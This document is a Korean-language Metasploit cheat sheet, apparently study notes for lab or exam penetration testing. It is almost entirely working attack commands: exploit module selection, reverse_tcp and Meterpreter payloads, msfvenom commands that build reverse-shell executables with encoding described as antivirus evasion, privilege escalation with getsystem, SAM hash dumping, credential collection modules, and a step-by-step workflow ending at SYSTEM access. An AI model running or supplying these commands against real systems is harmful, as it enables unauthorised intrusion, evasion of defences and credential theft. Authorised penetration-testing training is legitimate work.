1. 기본 구조

msfconsole
    ├── Modules (기능 단위)
    │     ├── exploit/      ← 취약점 공격
    │     ├── payload/      ← 쉘 생성
    │     ├── auxiliary/    ← 스캔, 브루트포스 등
    │     ├── post/         ← 권한상승 후 작업
    │     └── encoder/      ← 페이로드 인코딩
    └── Sessions (연결된 쉘 관리)

2. 기본 명령어

# 검색
search <키워>
search type:exploit platform:windows freeswitch
 
# 모듈 선택
use exploit/multi/misc/freeswitch_event_socket_cmd_exec
use 0          # search 결과 번호로도 선택 가능
 
# 현재 모듈 정보
info
options        # 설정 필요한 값 목록
 
# 옵션 설정
set RHOSTS 192.168.1.1
set LHOST 192.168.45.xxx
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
 
# 실행
run
exploit        # 동일
 
# 모듈 해제
back

3. Payload 선택

# 현재 모듈에서 사용 가능한 페이로드 목록
show payloads
 
## Meterpreter
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set PAYLOAD linux/x64/meterpreter/reverse_tcp
 
## 일반 쉘
set PAYLOAD windows/x64/shell/reverse_tcp
set PAYLOAD cmd/unix/reverse_netcat

Staged vs Stageless

windows/x64/meterpreter/reverse_tcp   ← Staged (/) : 작은 스터브 → 나중에 본체 다운로드
windows/x64/meterpreter_reverse_tcp   ← Stageless (_) : 전체 페이로드 한번에

4. Sessions 관리

# 세션 목록
sessions
sessions -l
 
# 세션 복귀
sessions -i 1
 
# 세션 백그라운드
meterpreter > background   # 또는 Ctrl+Z
 
# 세션에서 직접 명령 실행 (복귀 없이)
sessions -c "whoami" -i 1
 
# 세션 종료
sessions -k 1
 
# 쉘 → Meterpreter 업그레이드
sessions -u 1

5. Meterpreter 주요 명령어

# 시스템 정보
getuid          # 현재 유저
sysinfo         # OS 정보
getpid          # 현재 프로세스 ID
 
# 파일 시스템
ls
pwd
cd C:\\Users
download proof.txt    # 파일 다운로드
upload shell.exe      # 파일 업로드
 
# 쉘 드롭
shell           # cmd.exe 진입 (Ctrl+Z로 다시 meterpreter로)
 
# 네트워크
ipconfig
portfwd add -l 3389 -p 3389 -r 127.0.0.1   # 포트포워딩
 
# 권한
getsystem       # SYSTEM 권한 자동 시도
getprivs        # 현재 권한 목록
 
# 프로세스
ps              # 프로세스 목록
migrate <PID>   # 다른 프로세스로 이주 (안정성 향상)
 
# 해시 덤프
hashdump        # SAM 해시 덤프 (SYSTEM 권한 필요)

6. Post Exploitation 모듈

# 권한상승 벡터 자동 탐색
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
 
# Windows 권한상승
use post/windows/gather/win_privs
 
# 해시 덤프
use post/windows/gather/hashdump
 
# 자격증명 수집
use post/windows/gather/credentials/credential_collector

7. msfvenom (페이로드 생성)

# Windows exe
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<ip> LPORT=4444 -f exe -o shell.exe
 
# Linux elf
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=<ip> LPORT=4444 -f elf -o shell.elf
 
# PowerShell (AV 우회)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<ip> LPORT=4444 -f ps1 -o shell.ps1
 
# 인코딩 (기본 AV 우회)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=<ip> LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o shell.exe

8. Handler 세팅 (리버스쉘 받기)

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <your_ip>
set LPORT 4444
set ExitOnSession false    # 여러 세션 받을때 핸들러 유지
run -j                     # 백그라운드로 실행

9. Metasploit 워크플로우

1. 서비스 발견

2. search <취약점명>

3. use <모듈>  →  options 확인  →  set 옵션들

4. set PAYLOAD windows/x64/meterpreter/reverse_tcp

5. run → Meterpreter 획득

6. getuid  →  일반유저면:

7. local_exploit_suggester 실행

8. getsystem 또는 권한상승 익스플로잇

9. getuid → SYSTEM 확인

10. hashdump / proof.txt 획득

10. 단축키

Ctrl + Z    → 세션 백그라운드
Ctrl + C    → 현재 작업 중단
Tab         → 자동완성
↑↓          → 명령어 히스토리